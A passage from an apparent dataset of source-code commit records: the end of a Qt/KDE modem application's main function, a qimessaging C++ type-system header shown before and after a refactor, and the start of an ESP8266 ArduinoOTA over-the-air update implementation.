QObject::connect(m,SIGNAL(showTerminalWin()),k,SLOT(show()));\n    QObject::connect(m,SIGNAL(showPreferencesWin()),\n                     k,SLOT(optionsPreferences()));\n    QObject::connect(m,SIGNAL(modemConnect()),k,SLOT(modemConnect()));\n    QObject::connect(m,SIGNAL(modemDisconnect()),k,SLOT(modemDisconnect()));\n    QObject::connect(k,SIGNAL(connectStateChanged(bool)),\n                     m,SLOT(setConnected(bool)));\n\n    if (KandyPrefs::instance()->mStartupModem) k->modemConnect();\n  }\n\n  return app.exec();\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\/*\n**  Copyright (C) 2012 Aldebaran Robotics\n**  See COPYING for the license\n*\/\n\n#ifndef _QIMESSAGING_TYPE_HPP_\n#define _QIMESSAGING_TYPE_HPP_\n\n#include <typeinfo>\n#include <boost\/preprocessor.hpp>\n#include <qimessaging\/datastream.hpp>\n#include <qimessaging\/details\/dynamicvalue.hpp>\n\nnamespace qi{\n\n\/** Interface for all the operations we need on any type:\n *\n *  - cloning\/destruction in clone() and destroy()\n *  - type conversion is made by going through the generic container\n *    GenericValue, using the toValue() and fromValue() functions,\n *  - Serialization through serialize() and deserialize() to transmit\n *    the value through some kind of pipe.\n *\n * Our aim is to transport arbitrary values through:\n *  - synchronous calls: Nothing to do, values are just transported and\n      converted.\n *  - asynchronous call\/thread change: Values are copied.\n *  - process change: Values are serialized.\n *\n *\/\nclass QIMESSAGING_API Type\n{\npublic:\n  virtual const std::type_info& info() =0;\n  const char* infoString() { return info().name();} \/\/ for easy gdb access\n  \/\/\/ @return the serialization signature used by this type.\n  virtual std::string signature()=0;\n\n  \/\/ Initialize and return a new storage, from nothing or a T*\n  virtual void* initializeStorage(void* ptr=0)=0;\n  \/\/ Get pointer to type from pointer to storage\n  \/\/ No reference to avoid the case where the compiler makes a copy on the stack\n  virtual void* ptrFromStorage(void**)=0;\n\n  virtual void* clone(void*)=0;\n  virtual void destroy(void*)=0;\n\n  virtual bool  toValue(const void*, qi::detail::DynamicValue&)=0;\n  virtual void* fromValue(const qi::detail::DynamicValue&)=0;\n\n  \/\/ Default impl does toValue.serialize()\n  virtual void  serialize(ODataStream& s, const void*)=0;\n  \/\/ Default impl does deserialize(GenericValue&) then fromValue\n  virtual void* deserialize(IDataStream& s)=0;\n\n  enum Kind\n  {\n    Void,\n    Int,\n    Float,\n    String,\n    List,\n    Map,\n    Object,\n    Unknown,\n  };\n  virtual Kind kind() const;\n\n  \/* When someone makes a call with arguments that do not match the\n   * target signature (ex: int vs float), we want to handle it.\n   * For this, given the known correct signature S and known incorrect\n   * GenericValue v, we want to be able to obtain a new Type T that\n   * serializes with type S, and then try to convert o into type T.\n   *\n   * For this we need a map<Signature, Type> that we will feed with\n   * known types.\n   *\n   *\/\n  typedef std::map<std::string, Type*> TypeSignatureMap;\n  static TypeSignatureMap& typeSignatureMap()\n  {\n    static TypeSignatureMap res;\n    return res;\n  }\n\n  static Type* getCompatibleTypeWithSignature(const std::string& sig)\n  {\n    TypeSignatureMap::iterator i = typeSignatureMap().find(sig);\n    if (i == typeSignatureMap().end())\n      return 0;\n    else\n      return i->second;\n  }\n\n  static bool registerCompatibleType(const std::string& sig,\n    Type* mt)\n  {\n    typeSignatureMap()[sig] = mt;\n    return true;\n  }\n\n  #define QI_REGISTER_MAPPING(sig, type) \\\n  static bool BOOST_PP_CAT(_qireg_map_ , __LINE__) = ::qi::Type::registerCompatibleType(sig, \\\n    ::qi::typeOf<type>());\n};\n\n\nnamespace detail {\n  template<typename T> struct TypeFactory\n  {\n    void* operator()() { return new T();}\n  };\n};\n#define QI_TYPE_NOT_CONSTRUCTIBLE(T) \\\nnamespace qi { namespace detail { \\\ntemplate<> struct TypeFactory<T> { void* operator()() { return 0;}};}}\n\/** Meta-type specialization.\n *  Use the aspect pattern, make a class per feature group\n *  (Clone, GenericValue, Serialize)\n *\n *\/\n\n\/\/\/ Access API that stores a T* in storage\ntemplate<typename T> class TypeDefaultAccess\n{\npublic:\n  typedef T type;\n  static void* ptrFromStorage(void** storage)\n  {\n    return *storage;\n  }\n  static void* initializeStorage(void* ptr=0)\n  {\n    if (ptr)\n      return ptr;\n    void* res = detail::TypeFactory<T>()();\n    if (!res)\n      qiLogError(\"qi.meta\") << \"initializeStorage error on \" << typeid(T).name();\n    return res;\n  }\n};\n\n\/\/\/ Access api that stores T in storage\ntemplate<typename T> class TypeDirectAccess\n{\npublic:\n  typedef T type;\n  static void* ptrFromStorage(void** storage)\n  {\n    return storage;\n  }\n  static void* initializeStorage(void* ptr=0)\n  {\n    if (ptr)\n    {\n      T val = *(T*)ptr;\n      return *(void**)&val;\n    }\n    else\n      return 0;\n  }\n};\n\ntemplate<typename A> class TypeDefaultClone\n{\npublic:\n  typedef typename A::type type;\n  static void* clone(void* src)\n  {\n    const type* ptr = (const type*)A::ptrFromStorage(&src);\n    void* res = A::initializeStorage();\n    type* tres = (type*)A::ptrFromStorage(&res);\n    *tres = *ptr;\n    return res;\n  }\n\n  static void destroy(void* src)\n  {\n    type* ptr = (type*)A::ptrFromStorage(&src);\n    delete ptr;\n  }\n};\n\ntemplate<typename A> class TypeNoClone\n{\npublic:\n  static void* clone(void* src)\n  {\n    return src;\n  }\n\n  static void destroy(void* ptr)\n  {\n    \/* Assume a TypeNoClone is not serializable\n     * So it cannot have been allocated by us.\n     * So the destroy comes after a clone->ignore it\n     *\/\n  }\n};\n\ntemplate<typename A>class TypeDefaultValue\n{\npublic:\n  typedef typename A::type type;\n  static bool toValue(const void* src, qi::detail::DynamicValue& val)\n  {\n    const type* ptr = (const type*)A::ptrFromStorage((void**)&src);\n    detail::DynamicValueConverter<type>::writeDynamicValue(*ptr, val);\n    return true;\n  }\n\n  static void* fromValue(const qi::detail::DynamicValue& val)\n  {\n    void* storage;\n    storage = A::initializeStorage();\n    void* vptr = A::ptrFromStorage(&storage);\n    qiLogDebug(\"wtf\") << storage << ' ' << &storage << ' ' << vptr;\n    detail::DynamicValueConverter<type>::readDynamicValue(val, *(type*)vptr);\n    return storage;\n  }\n};\n\n\ntemplate<typename A>class TypeNoValue\n{\npublic:\n  typedef typename A::type type;\n  static bool toValue(const void* ptr, qi::detail::DynamicValue& val)\n  {\n    qiLogWarning(\"qi.type\") << \"toValue not implemented for type \" << typeid(type).name();\n    return false;\n  }\n\n  static void* fromValue(const qi::detail::DynamicValue& val)\n  {\n    qiLogWarning(\"qi.type\") << \"fromValue not implemented for type \" << typeid(type).name();\n    return 0; \/\/ We may not have a default constructor\n  }\n};\n\ntemplate<typename A> class TypeDefaultSerialize\n{\npublic:\n  typedef typename A::type type;\n  static void  serialize(ODataStream& s, const void* src)\n  {\n    const type* ptr = (const type*)A::ptrFromStorage((void**)&src);\n    s << *ptr;\n  }\n\n  static void* deserialize(IDataStream& s)\n  {\n    void* storage = A::initializeStorage();\n    type* ptr = (type*)A::ptrFromStorage(&storage);\n    s >> *ptr;\n    return storage;\n  }\n  static std::string signature()\n  {\n    return signatureFromType<type>::value();\n  }\n};\n\ntemplate<typename T> class TypeNoSerialize\n{\npublic:\n  static void serialize(ODataStream& s, const void* ptr)\n  {\n    qiLogWarning(\"qi.meta\") << \"serialize not implemented for \" << typeid(T).name();\n  }\n\n  static void* deserialize(IDataStream& s)\n  {\n    qiLogWarning(\"qi.meta\") << \"deserialize not implemented for \" << typeid(T).name();\n    return 0;\n  }\n static  std::string signature()\n  {\n    std::string res;\n    res += (char)Signature::Type_Unknown;\n    return res;\n  }\n};\n\n\n\/* TypeImpl implementation that bounces to the various aspect\n * subclasses.\n *\n * That way we can split the various aspects in different classes\n * for better reuse, without the cost of a second virtual call.\n *\/\ntemplate<typename T, typename Access    = TypeDefaultAccess<T>\n                   , typename Cloner    = TypeDefaultClone<Access>\n                   , typename Value     = TypeNoValue<Access>\n                   , typename Serialize = TypeNoSerialize<Access>\n         > class DefaultTypeImpl\n: public Cloner\n, public Value\n, public Serialize\n, public virtual Type\n{\n  virtual void* initializeStorage(void* ptr=0)\n  {\n    return Access::initializeStorage(ptr);\n  }\n\n  virtual void* ptrFromStorage(void** storage)\n  {\n    return Access::ptrFromStorage(storage);\n  }\n\n  virtual const std::type_info& info()\n  {\n    return typeid(T);\n  }\n\n  virtual void* clone(void* src)\n  {\n    return Cloner::clone(src);\n  }\n\n  virtual void destroy(void* ptr)\n  {\n    Cloner::destroy(ptr);\n  }\n\n  virtual bool toValue(const void* ptr, qi::detail::DynamicValue& val)\n  {\n    return Value::toValue(ptr, val);\n  }\n\n  virtual void* fromValue(const qi::detail::DynamicValue& val)\n  {\n    return Value::fromValue(val);\n  }\n\n  virtual std::string signature()\n  {\n    return Serialize::signature();\n  }\n\n  virtual void  serialize(ODataStream& s, const void* ptr)\n  {\n    Serialize::serialize(s, ptr);\n  }\n\n  virtual void* deserialize(IDataStream& s)\n  {\n    return Serialize::deserialize(s);\n  }\n};\n\n\/* Type \"factory\". Specialize this class to provide a custom\n * Type for a given type.\n *\/\ntemplate<typename T> class TypeImpl: public virtual DefaultTypeImpl<T>\n{\n};\n\n\/\/\/ Declare a type that is convertible to GenericValue, and serializable\n#define QI_TYPE_CONVERTIBLE_SERIALIZABLE(T)  \\\nnamespace qi {                                   \\\ntemplate<> class TypeImpl<T>:                \\\n  public DefaultTypeImpl<T,                  \\\n    TypeDefaultAccess<T>,                    \\\n    TypeDefaultClone<TypeDefaultAccess<T> >, \\\n    TypeDefaultValue<TypeDefaultAccess<T> >,  \\\n    TypeDefaultSerialize<TypeDefaultAccess<T> >  \\\n  >{}; }\n\n\/** Declare that a type is not convertible to GenericValue.\n *  Must be called outside any namespace.\n *\/\n#define QI_TYPE_SERIALIZABLE(T)              \\\nnamespace qi {                                   \\\ntemplate<> class TypeImpl<T>:                \\\n  public DefaultTypeImpl<T,                  \\\n    TypeDefaultAccess<T>,                    \\\n    TypeDefaultClone<TypeDefaultAccess<T> >, \\\n    TypeNoValue<TypeDefaultAccess<T> >,       \\\n    TypeDefaultSerialize<TypeDefaultAccess<T> >   \\\n  >{}; }\n\n\/\/\/ Declare that a type has no metatype and cannot be used in a Value\n#define QI_NO_TYPE(T) namespace qi {template<> class TypeImpl<T> {};}\n\n\/\/\/ Declare that a type with default TypeImpl is not clonable\n#define QI_TYPE_NOT_CLONABLE(T) \\\nnamespace qi {    \\\n  template<> struct TypeDefaultClone<TypeDefaultAccess<T> >: public TypeNoClone<TypeDefaultAccess<T> >{}; \\\n}\n\n\/\/\/ Type factory getter. All other type access mechanism bounce here\nQIMESSAGING_API Type*  getType(const std::type_info& type);\n\/\/\/ Type factory setter\nQIMESSAGING_API bool registerType(const std::type_info& typeId, Type* type);\n\n\/** Get type from a type. Will return a static TypeImpl<T> if T is not registered\n *\/\ntemplate<typename T> Type* typeOf();\n\n\/\/\/ Get type from a value. No need to delete the result\ntemplate<typename T> Type* typeOf(const T& v)\n{\n  return typeOf<T>();\n}\n\n}\n\nQI_TYPE_SERIALIZABLE(Buffer);\n\n#include <qimessaging\/details\/type.hxx>\n\n#endif  \/\/ _QIMESSAGING_TYPE_HPP_\n<commit_msg>Type: DefaultTypeImpl: provide access to sub-operations classes to bypass virtual call when possible.<commit_after>#pragma once\n\/*\n**  Copyright (C) 2012 Aldebaran Robotics\n**  See COPYING for the license\n*\/\n\n#ifndef _QIMESSAGING_TYPE_HPP_\n#define _QIMESSAGING_TYPE_HPP_\n\n#include <typeinfo>\n#include <boost\/preprocessor.hpp>\n#include <qimessaging\/datastream.hpp>\n#include <qimessaging\/details\/dynamicvalue.hpp>\n\nnamespace qi{\n\n\/** Interface for all the operations we need on any type:\n *\n *  - cloning\/destruction in clone() and destroy()\n *  - type conversion is made by going through the generic container\n *    GenericValue, using the toValue() and fromValue() functions,\n *  - Serialization through serialize() and deserialize() to transmit\n *    the value through some kind of pipe.\n *\n * Our aim is to transport arbitrary values through:\n *  - synchronous calls: Nothing to do, values are just transported and\n      converted.\n *  - asynchronous call\/thread change: Values are copied.\n *  - process change: Values are serialized.\n *\n *\/\nclass QIMESSAGING_API Type\n{\npublic:\n  virtual const std::type_info& info() =0;\n  const char* infoString() { return info().name();} \/\/ for easy gdb access\n  \/\/\/ @return the serialization signature used by this type.\n  virtual std::string signature()=0;\n\n  \/\/ Initialize and return a new storage, from nothing or a T*\n  virtual void* initializeStorage(void* ptr=0)=0;\n  \/\/ Get pointer to type from pointer to storage\n  \/\/ No reference to avoid the case where the compiler makes a copy on the stack\n  virtual void* ptrFromStorage(void**)=0;\n\n  virtual void* clone(void*)=0;\n  virtual void destroy(void*)=0;\n\n  virtual bool  toValue(const void*, qi::detail::DynamicValue&)=0;\n  virtual void* fromValue(const qi::detail::DynamicValue&)=0;\n\n  \/\/ Default impl does toValue.serialize()\n  virtual void  serialize(ODataStream& s, const void*)=0;\n  \/\/ Default impl does deserialize(GenericValue&) then fromValue\n  virtual void* deserialize(IDataStream& s)=0;\n\n  enum Kind\n  {\n    Void,\n    Int,\n    Float,\n    String,\n    List,\n    Map,\n    Object,\n    Unknown,\n  };\n  virtual Kind kind() const;\n\n  \/* When someone makes a call with arguments that do not match the\n   * target signature (ex: int vs float), we want to handle it.\n   * For this, given the known correct signature S and known incorrect\n   * GenericValue v, we want to be able to obtain a new Type T that\n   * serializes with type S, and then try to convert o into type T.\n   *\n   * For this we need a map<Signature, Type> that we will feed with\n   * known types.\n   *\n   *\/\n  typedef std::map<std::string, Type*> TypeSignatureMap;\n  static TypeSignatureMap& typeSignatureMap()\n  {\n    static TypeSignatureMap res;\n    return res;\n  }\n\n  static Type* getCompatibleTypeWithSignature(const std::string& sig)\n  {\n    TypeSignatureMap::iterator i = typeSignatureMap().find(sig);\n    if (i == typeSignatureMap().end())\n      return 0;\n    else\n      return i->second;\n  }\n\n  static bool registerCompatibleType(const std::string& sig,\n    Type* mt)\n  {\n    typeSignatureMap()[sig] = mt;\n    return true;\n  }\n\n  #define QI_REGISTER_MAPPING(sig, type) \\\n  static bool BOOST_PP_CAT(_qireg_map_ , __LINE__) = ::qi::Type::registerCompatibleType(sig, \\\n    ::qi::typeOf<type>());\n};\n\n\nnamespace detail {\n  template<typename T> struct TypeFactory\n  {\n    void* operator()() { return new T();}\n  };\n};\n#define QI_TYPE_NOT_CONSTRUCTIBLE(T) \\\nnamespace qi { namespace detail { \\\ntemplate<> struct TypeFactory<T> { void* operator()() { return 0;}};}}\n\/** Meta-type specialization.\n *  Use the aspect pattern, make a class per feature group\n *  (Clone, GenericValue, Serialize)\n *\n *\/\n\n\/\/\/ Access API that stores a T* in storage\ntemplate<typename T> class TypeDefaultAccess\n{\npublic:\n  typedef T type;\n  static void* ptrFromStorage(void** storage)\n  {\n    return *storage;\n  }\n  static void* initializeStorage(void* ptr=0)\n  {\n    if (ptr)\n      return ptr;\n    void* res = detail::TypeFactory<T>()();\n    if (!res)\n      qiLogError(\"qi.meta\") << \"initializeStorage error on \" << typeid(T).name();\n    return res;\n  }\n};\n\n\/\/\/ Access api that stores T in storage\ntemplate<typename T> class TypeDirectAccess\n{\npublic:\n  typedef T type;\n  static void* ptrFromStorage(void** storage)\n  {\n    return storage;\n  }\n  static void* initializeStorage(void* ptr=0)\n  {\n    if (ptr)\n    {\n      T val = *(T*)ptr;\n      return *(void**)&val;\n    }\n    else\n      return 0;\n  }\n};\n\ntemplate<typename A> class TypeDefaultClone\n{\npublic:\n  typedef typename A::type type;\n  static void* clone(void* src)\n  {\n    const type* ptr = (const type*)A::ptrFromStorage(&src);\n    void* res = A::initializeStorage();\n    type* tres = (type*)A::ptrFromStorage(&res);\n    *tres = *ptr;\n    return res;\n  }\n\n  static void destroy(void* src)\n  {\n    type* ptr = (type*)A::ptrFromStorage(&src);\n    delete ptr;\n  }\n};\n\ntemplate<typename A> class TypeNoClone\n{\npublic:\n  static void* clone(void* src)\n  {\n    return src;\n  }\n\n  static void destroy(void* ptr)\n  {\n    \/* Assume a TypeNoClone is not serializable\n     * So it cannot have been allocated by us.\n     * So the destroy comes after a clone->ignore it\n     *\/\n  }\n};\n\ntemplate<typename A>class TypeDefaultValue\n{\npublic:\n  typedef typename A::type type;\n  static bool toValue(const void* src, qi::detail::DynamicValue& val)\n  {\n    const type* ptr = (const type*)A::ptrFromStorage((void**)&src);\n    detail::DynamicValueConverter<type>::writeDynamicValue(*ptr, val);\n    return true;\n  }\n\n  static void* fromValue(const qi::detail::DynamicValue& val)\n  {\n    void* storage;\n    storage = A::initializeStorage();\n    void* vptr = A::ptrFromStorage(&storage);\n    qiLogDebug(\"wtf\") << storage << ' ' << &storage << ' ' << vptr;\n    detail::DynamicValueConverter<type>::readDynamicValue(val, *(type*)vptr);\n    return storage;\n  }\n};\n\n\ntemplate<typename A>class TypeNoValue\n{\npublic:\n  typedef typename A::type type;\n  static bool toValue(const void* ptr, qi::detail::DynamicValue& val)\n  {\n    qiLogWarning(\"qi.type\") << \"toValue not implemented for type \" << typeid(type).name();\n    return false;\n  }\n\n  static void* fromValue(const qi::detail::DynamicValue& val)\n  {\n    qiLogWarning(\"qi.type\") << \"fromValue not implemented for type \" << typeid(type).name();\n    return 0; \/\/ We may not have a default constructor\n  }\n};\n\ntemplate<typename A> class TypeDefaultSerialize\n{\npublic:\n  typedef typename A::type type;\n  static void  serialize(ODataStream& s, const void* src)\n  {\n    const type* ptr = (const type*)A::ptrFromStorage((void**)&src);\n    s << *ptr;\n  }\n\n  static void* deserialize(IDataStream& s)\n  {\n    void* storage = A::initializeStorage();\n    type* ptr = (type*)A::ptrFromStorage(&storage);\n    s >> *ptr;\n    return storage;\n  }\n  static std::string signature()\n  {\n    return signatureFromType<type>::value();\n  }\n};\n\ntemplate<typename T> class TypeNoSerialize\n{\npublic:\n  static void serialize(ODataStream& s, const void* ptr)\n  {\n    qiLogWarning(\"qi.meta\") << \"serialize not implemented for \" << typeid(T).name();\n  }\n\n  static void* deserialize(IDataStream& s)\n  {\n    qiLogWarning(\"qi.meta\") << \"deserialize not implemented for \" << typeid(T).name();\n    return 0;\n  }\n static  std::string signature()\n  {\n    std::string res;\n    res += (char)Signature::Type_Unknown;\n    return res;\n  }\n};\n\n\n\/* TypeImpl implementation that bounces to the various aspect\n * subclasses.\n *\n * That way we can split the various aspects in different classes\n * for better reuse, without the cost of a second virtual call.\n *\/\ntemplate<typename T, typename _Access    = TypeDefaultAccess<T>\n                   , typename _Cloner    = TypeDefaultClone<_Access>\n                   , typename _Value     = TypeNoValue<_Access>\n                   , typename _Serialize = TypeNoSerialize<_Access>\n         > class DefaultTypeImpl\n: public _Cloner\n, public _Value\n, public _Serialize\n, public virtual Type\n{\npublic:\n  typedef _Access Access;\n  typedef _Cloner Cloner;\n  typedef _Value  Value;\n  typedef _Serialize Serialize;\n  virtual void* initializeStorage(void* ptr=0)\n  {\n    return Access::initializeStorage(ptr);\n  }\n\n  virtual void* ptrFromStorage(void** storage)\n  {\n    return Access::ptrFromStorage(storage);\n  }\n\n  virtual const std::type_info& info()\n  {\n    return typeid(T);\n  }\n\n  virtual void* clone(void* src)\n  {\n    return Cloner::clone(src);\n  }\n\n  virtual void destroy(void* ptr)\n  {\n    Cloner::destroy(ptr);\n  }\n\n  virtual bool toValue(const void* ptr, qi::detail::DynamicValue& val)\n  {\n    return Value::toValue(ptr, val);\n  }\n\n  virtual void* fromValue(const qi::detail::DynamicValue& val)\n  {\n    return Value::fromValue(val);\n  }\n\n  virtual std::string signature()\n  {\n    return Serialize::signature();\n  }\n\n  virtual void  serialize(ODataStream& s, const void* ptr)\n  {\n    Serialize::serialize(s, ptr);\n  }\n\n  virtual void* deserialize(IDataStream& s)\n  {\n    return Serialize::deserialize(s);\n  }\n};\n\n\/* Type \"factory\". Specialize this class to provide a custom\n * Type for a given type.\n *\/\ntemplate<typename T> class TypeImpl: public virtual DefaultTypeImpl<T>\n{\n};\n\n\/\/\/ Declare a type that is convertible to GenericValue, and serializable\n#define QI_TYPE_CONVERTIBLE_SERIALIZABLE(T)  \\\nnamespace qi {                                   \\\ntemplate<> class TypeImpl<T>:                \\\n  public DefaultTypeImpl<T,                  \\\n    TypeDefaultAccess<T>,                    \\\n    TypeDefaultClone<TypeDefaultAccess<T> >, \\\n    TypeDefaultValue<TypeDefaultAccess<T> >,  \\\n    TypeDefaultSerialize<TypeDefaultAccess<T> >  \\\n  >{}; }\n\n\/** Declare that a type is not convertible to GenericValue.\n *  Must be called outside any namespace.\n *\/\n#define QI_TYPE_SERIALIZABLE(T)              \\\nnamespace qi {                                   \\\ntemplate<> class TypeImpl<T>:                \\\n  public DefaultTypeImpl<T,                  \\\n    TypeDefaultAccess<T>,                    \\\n    TypeDefaultClone<TypeDefaultAccess<T> >, \\\n    TypeNoValue<TypeDefaultAccess<T> >,       \\\n    TypeDefaultSerialize<TypeDefaultAccess<T> >   \\\n  >{}; }\n\n\/\/\/ Declare that a type has no metatype and cannot be used in a Value\n#define QI_NO_TYPE(T) namespace qi {template<> class TypeImpl<T> {};}\n\n\/\/\/ Declare that a type with default TypeImpl is not clonable\n#define QI_TYPE_NOT_CLONABLE(T) \\\nnamespace qi {    \\\n  template<> struct TypeDefaultClone<TypeDefaultAccess<T> >: public TypeNoClone<TypeDefaultAccess<T> >{}; \\\n}\n\n\/\/\/ Type factory getter. All other type access mechanism bounce here\nQIMESSAGING_API Type*  getType(const std::type_info& type);\n\/\/\/ Type factory setter\nQIMESSAGING_API bool registerType(const std::type_info& typeId, Type* type);\n\n\/** Get type from a type. Will return a static TypeImpl<T> if T is not registered\n *\/\ntemplate<typename T> Type* typeOf();\n\n\/\/\/ Get type from a value. No need to delete the result\ntemplate<typename T> Type* typeOf(const T& v)\n{\n  return typeOf<T>();\n}\n\n}\n\nQI_TYPE_SERIALIZABLE(Buffer);\n\n#include <qimessaging\/details\/type.hxx>\n\n#endif  \/\/ _QIMESSAGING_TYPE_HPP_\n<|endoftext|>"}
{"text":"<commit_before>#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include \"ArduinoOTA.h\"\n#include \"MD5Builder.h\"\n\n\/\/#define OTA_DEBUG 1\n\n#define U_AUTH 200\n\nArduinoOTAClass::ArduinoOTAClass()\n{\n    _udp_ota = new WiFiUDP();\n    _password = 0;\n    _hostname = 0;\n    _port = 0;\n    _nonce = 0;\n    _state = OTA_IDLE;\n    \n    _size = 0;\n    _cmd = 0;\n    _ota_port = 0;\n    _ota_ip = (uint32_t)0;\n    _md5 = new char[33];\n    \n    _start_callback    = NULL;\n    _end_callback      = NULL;\n    _progress_callback = NULL;\n    _error_callback    = NULL;\n}\n\nvoid ArduinoOTAClass::onStart(OTA_CALLBACK(fn)){\n    _start_callback = fn;\n}\n\nvoid ArduinoOTAClass::onEnd(OTA_CALLBACK(fn)){\n    _end_callback = fn;\n}\n\nvoid ArduinoOTAClass::onProgress(OTA_CALLBACK_PROGRESS(fn)){\n    _progress_callback = fn;\n}\n\nvoid ArduinoOTAClass::onError(OTA_CALLBACK_ERROR(fn)){\n    _error_callback = fn;\n}\n\nArduinoOTAClass::~ArduinoOTAClass(){\n    delete _udp_ota;\n}\n\nvoid ArduinoOTAClass::setPort(uint16_t port){\n  if(!_initialized && !_port && port){\n    _port = port;\n  }\n}\n\nvoid ArduinoOTAClass::setHostname(const char * hostname){\n  if(!_initialized && !_hostname && hostname){\n    _hostname = new char[strlen(hostname)];\n    sprintf(_hostname, \"%s\", hostname);\n  }\n}\n\nvoid ArduinoOTAClass::setPassword(const char * password){\n  if(!_initialized && !_password && password){\n    _password = new char[strlen(password)];\n    sprintf(_password, \"%s\", password);\n  }\n}\n\nvoid ArduinoOTAClass::begin() {\n  if(_initialized)\n    return;\n  _initialized = true;\n  if(!_hostname){\n    _hostname = new char[15];\n    sprintf(_hostname, \"esp8266-%02x\", ESP.getChipId());\n  }\n  if(!_port)\n    _port = 8266;\n  \n  _udp_ota->begin(_port);\n  MDNS.begin(_hostname);\n  if(_password){\n    _nonce = new char[33];\n    MDNS.enableArduino(_port, true);\n  } else \n    MDNS.enableArduino(_port);\n  _state = OTA_IDLE;\n#if OTA_DEBUG\n  Serial.printf(\"OTA server at: %s.local:%u\\n\", _hostname, _port);\n#endif\n}\n\nvoid ArduinoOTAClass::_runUpdate(){\n  if(!Update.begin(_size, _cmd)){\n#if OTA_DEBUG\n    Serial.println(\"Update Begin Error\");\n#endif\n    if (_error_callback) _error_callback(OTA_BEGIN_ERROR);\n    _udp_ota->begin(_port);\n    _state = OTA_IDLE;\n    return;\n  }\n  Update.setMD5(_md5);\n  WiFiUDP::stopAll();\n  WiFiClient::stopAll();\n  \n  \n  if (_start_callback) _start_callback();\n  if (_progress_callback) _progress_callback(0, _size);\n\n  WiFiClient client;\n  if (!client.connect(_ota_ip, _ota_port)) {\n#if OTA_DEBUG\n    Serial.printf(\"Connect Failed\\n\");\n#endif\n    _udp_ota->begin(_port);\n    if (_error_callback) _error_callback(OTA_CONNECT_ERROR);\n    _state = OTA_IDLE;\n  }\n\n  uint32_t written, total = 0;\n  while(!Update.isFinished() && client.connected()){\n    int waited = 1000;\n    while(!client.available() && waited--)\n      delay(1);\n    if(!waited){\n#if OTA_DEBUG\n      Serial.printf(\"Recieve Failed\\n\");\n#endif\n      _udp_ota->begin(_port);\n      if (_error_callback) _error_callback(OTA_RECIEVE_ERROR);\n      _state = OTA_IDLE;\n    }\n    written = Update.write(client); \n    if(written > 0){\n      client.print(written, DEC);\n      total += written;\n      if(_progress_callback) _progress_callback(total, _size);\n    }\n  }\n\n  if(Update.end()){\n    client.print(\"OK\");\n#if OTA_DEBUG\n    Serial.printf(\"Update Success\\nRebooting...\\n\");\n#endif\n    if(_end_callback) _end_callback();\n    ESP.restart();\n  } else {\n    _udp_ota->begin(_port);\n    if (_error_callback) _error_callback(OTA_END_ERROR);\n    Update.printError(client);\n#if OTA_DEBUG\n    Update.printError(Serial);\n#endif\n    _state = OTA_IDLE;\n  }\n}\n\nvoid ArduinoOTAClass::handle() {\n  if (!*_udp_ota) {\n    _udp_ota->begin(_port); \n#if OTA_DEBUG\n    Serial.println(\"OTA restarted\"); \n#endif\n  }\n\n  if (!_udp_ota->parsePacket()) return;\n\n  if(_state == OTA_IDLE){\n    int cmd = _udp_ota->parseInt();\n    if(cmd != U_FLASH && cmd != U_SPIFFS)\n      return;\n    _ota_ip = _udp_ota->remoteIP();\n    _cmd  = cmd;\n    _ota_port = _udp_ota->parseInt();\n    _size = _udp_ota->parseInt();\n    _udp_ota->read();\n    sprintf(_md5, \"%s\", _udp_ota->readStringUntil('\\n').c_str());\n    if(strlen(_md5) != 32)\n      return;\n\n#if OTA_DEBUG\n    Serial.print(\"Update Start: ip:\");\n    Serial.print(_ota_ip);\n    Serial.printf(\", port:%d, size:%d, md5:%s\\n\", _ota_port, _size, _md5);\n#endif\n    \n    _udp_ota->beginPacket(_ota_ip, _udp_ota->remotePort());\n    if(_password){\n      MD5Builder nonce_md5;\n      nonce_md5.begin();\n      nonce_md5.add(String(micros()));\n      nonce_md5.calculate();\n      nonce_md5.getChars(_nonce);\n      _udp_ota->printf(\"AUTH %s\", _nonce);\n      _udp_ota->endPacket();\n      _state = OTA_WAITAUTH;\n      return;\n    } else {\n      _udp_ota->print(\"OK\");\n      _udp_ota->endPacket();\n      _state = OTA_RUNUPDATE;\n    }\n  } else if(_state == OTA_WAITAUTH){\n    int cmd = _udp_ota->parseInt();\n    if(cmd != U_AUTH){\n      _state = OTA_IDLE;\n      return;\n    }\n    _udp_ota->read();\n    String cnonce = _udp_ota->readStringUntil(' ');\n    String response = _udp_ota->readStringUntil('\\n');\n    if(cnonce.length() != 32 || response.length() != 32){\n      _state = OTA_IDLE;\n      return;\n    }\n    \n    MD5Builder _passmd5;\n    _passmd5.begin();\n    _passmd5.add(_password);\n    _passmd5.calculate();\n    String passmd5 = _passmd5.toString();\n\n    String challenge = passmd5 + \":\" + String(_nonce) + \":\" + cnonce;\n    MD5Builder _challengemd5;\n    _challengemd5.begin();\n    _challengemd5.add(challenge);\n    _challengemd5.calculate();\n    String result = _challengemd5.toString();\n\n    if(result.equals(response)){\n      _udp_ota->beginPacket(_ota_ip, _udp_ota->remotePort());\n      _udp_ota->print(\"OK\");\n      _udp_ota->endPacket();\n      _state = OTA_RUNUPDATE;\n    } else {\n      _udp_ota->beginPacket(_ota_ip, _udp_ota->remotePort());\n      _udp_ota->print(\"Authentication Failed\");\n      _udp_ota->endPacket();\n      if (_error_callback) _error_callback(OTA_AUTH_ERROR);\n      _state = OTA_IDLE;\n    }\n  }\n  \n  if(_state == OTA_RUNUPDATE)\n    _runUpdate();\n}\n\nArduinoOTAClass ArduinoOTA;\n<commit_msg>Let the socket to properly close<commit_after>#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include \"ArduinoOTA.h\"\n#include \"MD5Builder.h\"\n\n\/\/#define OTA_DEBUG 1\n\n#define U_AUTH 200\n\nArduinoOTAClass::ArduinoOTAClass()\n{\n    _udp_ota = new WiFiUDP();\n    _password = 0;\n    _hostname = 0;\n    _port = 0;\n    _nonce = 0;\n    _state = OTA_IDLE;\n    \n    _size = 0;\n    _cmd = 0;\n    _ota_port = 0;\n    _ota_ip = (uint32_t)0;\n    _md5 = new char[33];\n    \n    _start_callback    = NULL;\n    _end_callback      = NULL;\n    _progress_callback = NULL;\n    _error_callback    = NULL;\n}\n\nvoid ArduinoOTAClass::onStart(OTA_CALLBACK(fn)){\n    _start_callback = fn;\n}\n\nvoid ArduinoOTAClass::onEnd(OTA_CALLBACK(fn)){\n    _end_callback = fn;\n}\n\nvoid ArduinoOTAClass::onProgress(OTA_CALLBACK_PROGRESS(fn)){\n    _progress_callback = fn;\n}\n\nvoid 